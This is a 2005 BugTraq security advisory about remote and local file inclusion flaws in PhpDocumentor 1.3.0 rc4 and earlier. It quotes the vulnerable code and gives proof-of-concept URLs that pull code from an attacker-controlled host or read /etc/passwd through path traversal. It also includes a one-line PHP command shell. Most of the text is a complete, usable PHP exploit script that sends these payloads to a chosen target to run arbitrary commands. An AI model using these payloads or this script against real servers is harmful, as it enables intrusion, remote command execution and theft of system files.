BugTraq
PhpDocumentor <= 1.3.0 rc4 Arbitrary remote/local inclusion Dec 29 2005 01:47PM
retrogod aliceposta it
---- PhpDocumentor <= 1.3.0 rc4 Arbitrary remote/local inclusion ---

software:
site: http://www.phpdoc.org/
description: "phpDocumentor, sometimes referred to as phpdoc or phpdocu,
is the current standard auto-documentation tool for the php language.
Similar to Javadoc, and written in php, phpDocumentor can be used from
the command line or a web interface to create professional
documentation from php source code."

--------------------------------------------------------------------
i) vulnerable code in Documentation/tests/bug-559668.php at line 4:

...
require_once $FORUM['LIB'] . '/classes/db/PearDb.php';
...

poc:

if register_globals on and allow_url_fopen on
http://[target]/[path_to_phpdocumentor]/Documentation/tests/bug-559668.p
hp?cmd=ls%20-la&FORUM[LIB]=http://[attacker]

where on http://[attacker]/classes/db/PearDb.php/index.html
you have this code:

<?php system($cmd);?>

also, if magic_quotes_gpc off:
http://[target]/[path_to_phpdocumentor]/Documentation/tests/bug-559668.p
hp?FORUM[LIB]=http://[attacker]/script.txt%00
http://[target]/[path_to_phpdocumentor]/Documentation/tests/bug-559668.p
hp?FORUM[LIB]=../../../../../../../etc/passwd%00
--------------------------------------------------------------------
ii) vulnerable code in docbuilder/file_dialog.php at lines 49-56:

...
/**
* common file information
*/
include_once("$root_dir/phpDocumentor/common.inc.php"); [!]
include_once("$root_dir/HTML_TreeMenu-1.1.2/TreeMenu.php"); [!]
include_once("$root_dir/docbuilder/includes/utilities.php" ); [!]

$root_dir = dirname(dirname(__FILE__)); [!!!!!!!!]
...

poc:
http://[target]/[path_to_phpdocumentor]/docbuilder/file_dialog.php?cmd=l
s%20-la&root_dir=http://[attacker]

where on http://[attacker]/phpDocumentor/common.inc.php/index.html
you have the same code
--------------------------------------------------------------------
exploit:

<?php
# ---phpdocu_130rc4_incl_xpl.php 13.06 29/12/2005 #
# #
# PhpDocumentor <= 1.3.0 rc4 remote commands execution #
# coded by rgod #
# site: http://rgod.altervista.org #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun-Tzu: "Confront your soldiers with the deed itself; never let them know #
# your design. When the outlook is bright, bring it before their eyes; but #
# tell them nothing when the situation is gloomy." #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html><head><title>**PhpDocumentor <= 1.3.0 rc4 remote commands execution**
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
**PhpDocumentor <= 1.3.0 rc4 remote commands execution**</p><p class="Stile6">a
script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.$SERVER[PHP_SELF].'"> <p><input
type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/phpdocumentor/ or just / ) </span></p><p><input type="text" name="CMD"> <span
class="Stile5"> * specify a command </span></p> <p> <input type="text"
name="LOCATION"><span class="Stile5">* remote location ( ex: http://www.somesite
.com, without traling slashes)</span></p><p><input type="text" name="port"><span
class="Stile5">specify a port other than 80 (default value)</span> </p> <p>
<input type="text" name="proxy"><span class="Stile5">send exploit through an
HTTP proxy (ip:port)</span> </p> <p> <input type="submit" name="Submit"
value="go!"></p></form></td></tr></table></body></html>';

function show($headeri)
{
$ii=0;$ji=0;$ki=0;$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1){
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td>  </td>";
for ($li=0; $li<=15; $li++) {
echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {
echo "<td>0".$datai."</td>";
}
else {
echo "<td>".$datai."</td> ";
}
$ii++;$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++) {
echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //2x speed
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='') {
$result = socket_connect($socket, $host, $port);
}
else {
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else {
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}

function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.htmlentities($host); die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid prozy...';die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);echo nl2br(htmlentities($html));
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port]; $CMD=$_POST[CMD];
$LOCATION=$_POST[LOCATION];

if (($host<>'') and ($path<>'') and ($CMD<>'') and ($LOCATION<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
$CMD=urlencode($CMD);

$packet="GET ".$p."Documentation/tests/bug-559668.php?cmd=".$CMD."&FORUM[LIB]=".$LOCA
TION." HTTP/1.1\r\n";
$packet.="User-Agent: Shareaza v1.x.x.xx\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
//sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded"; die;}
else {echo "Trying Step 2...<br>";}

$packet="GET ".$p."docbuilder/file_dialog.php?cmd=".$CMD."&root_dir=".$LOCATION." HTTP/1.1\r\n";
$packet.="User-Agent: SnoopRob/x.x\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded"; }
else {echo "Exploit failed...";}
}
else
{echo "Note: on remote location prepare this code in<br>
http:/[remote_location]/classes/db/PearDb.php/index.html<br>
and in<br>
http://[remote_location]/phpDocumentor/common.inc.php/index.html:<br>";
echo nl2br(htmlentities("
<?php
echo\"HiMaster!\";ini_set(\"max_execution_time\",0);system(\$cmd);
?>
"));
echo "<br>Note 2: if magic_quotes_off on target server<br>
you can truncate location name with a null char, ex.:<br>
http://[remote_location]/your_file.txt%00<br><br>
Fill * required fields, optionally specify a proxy...";}

?>

--------------------------------------------------------------------
rgod

site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original adivsory: http://rgod.altervista.org/phpdocumentor_130rc4_incl_expl.html
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